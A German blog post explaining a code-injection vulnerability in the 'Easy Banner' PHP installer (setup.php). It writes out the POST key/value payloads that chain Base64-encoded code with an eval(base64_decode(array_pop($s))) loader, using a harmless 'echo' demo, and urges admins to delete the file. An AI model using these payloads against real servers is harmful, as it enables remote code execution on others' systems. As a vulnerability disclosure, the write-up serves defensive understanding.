Easy Banner: Code einschleusen

Eigentlich sollte man die Datei setup.php von „Easy Banner“ sofort nach der Installation löschen. Es gibt aber anscheinend Personen, die das nicht tun. Für die möchte ich einen weiteren Grund anführen, warum sie diese Datei unbedingt löschen sollten: Sie erlaubt es findigen Programmierern – mit ein paar Tricks – fremden Code auf dem Server auszuführen.

Die Installationsroutine schreibt mit folgendem Code ihre Einstellungen in eine PHP-Datei:

foreach ($_POST as $k => $v) {
    $data .= "\$s[$k] = \"$v\";";
}

Wie man sieht, wird das $_POST-Array in keiner Weise überprüft und es werden grundsätzlich alle Werte daraus in die Konfigurationsdatei geschrieben. Das eröffnet theoretisch die Möglichkeit direkt eigenen Code mit einem Wertepaar wie dem folgenden einzuschleusen:

'123' => '";my_evil_code();$bla="'

Die Sache hat allerdings einen Haken: Die „Magic quotes“ von PHP, die genau das verhindern sollen. Die Zeile in der Konfigurationsdatei würde nun wie folgt lauten:

$s[123] = "\";my_evil_code();$bla=\"";

Dabei machen die von PHP hinzugefügten Backslashes die Anführungszeichen und somit den Angriff vorerst wirkungslos.

Code mit Anführungszeichen und somit auch Strings sind also nicht möglich; über die Variable $v lässt sich auf direktem Wege kein Code einschmuggeln. $k dagegen lässt dies zu:

'1];my_evil_code();//' => '3'

Dieses Wertepaar würde korrekten PHP-Code erzeugen und auch die Funktion my_evil_code() ausführen, aber ohne die Möglichkeit Anführungszeichen, Leerzeichen und öffnende eckige Klammern ([) benutzen zu können, ist das nutzlos. Ohne Strings und Arrays kann man mit PHP nur wenig anfangen. Also muss eine Möglichkeit gefunden werden, den gewünschten PHP-Code anders zu übergeben und aus der eben gefundenen Lücke eine Art „Ladefunktion“ zu basteln, die lediglich weiteren Code „nachlädt“.

Hier kommt wieder die Funktion, die die Einstellungen schreibt, ins Spiel. Sie erlaubt es beliebige Wertepaare – ob sie nun für die Konfiguration gebraucht werden oder nicht – in die Datei zu schreiben. So zum Beispiel auch eine Variable mit Base64-kodiertem PHP-Code. Dieser enthält nämlich keines der „verbotenen“ Zeichen und lässt sich so ohne großen Aufwand in die Datei schreiben.

Wollten wir also den folgenden Code ausführen, so müssten wir das danach folgende Wertepaar übergeben:

echo "0wned!";
'123' => 'ZWNobyBcIjB3bmVkIVwiOw=='

Eine Zeile in der Konfigurationsdatei würde nun so aussehen:

$s[123] = "ZWNobyBcIjB3bmVkIVwiOw=="

Fehlt nur noch eine Möglichkeit ihn auszuführen. Da es nicht möglich ist ein Array direkt zu referenzieren (wegen der fehlenden eckigen Klammern), muss man sich eines kleinen Tricks bedienen:

'1];eval(base64_decode(array_pop($s)));//' => '3'

Dabei ist es wichtig, dass dieses Wertepaar nach dem obenen mit dem Base64-kodierten PHP-Code übergeben wird.

Zum Schluss nochmal ein Blick auf die Konfigurationsdatei, deren gekürzter Inhalt – ich habe zur Übersichtlichkeit Zeilenumbrüche eingefügt – nun folgender wäre:

<?php
/* … */
$s[123] = "ZWNobyBcIjB3bmVkIVwiOw==";
$s[1];
eval(base64_decode(array_pop($s))); //] = "3";

Zunächst wird der kodierte PHP-Code in das $s-Array als Element eingefügt. Die nächste Zeile tut überhaupt nichts. In der dritten Zeile wird dann das letzte Element des $s-Arrays abgerufen und entfernd, dekodiert und schließlich ausgeführt. Die zwei Slashes leiten einen Kommentar ein, sodass PHP den Rest der Zeile ignoriert.


#0009, erstellt: 2008-10-05, aktualisiert: 2008-10-05, src, meta
Start, Impressum, zurück: dasEpp PHP Gästebuch Sicherheitslücke, vor: Beispielhack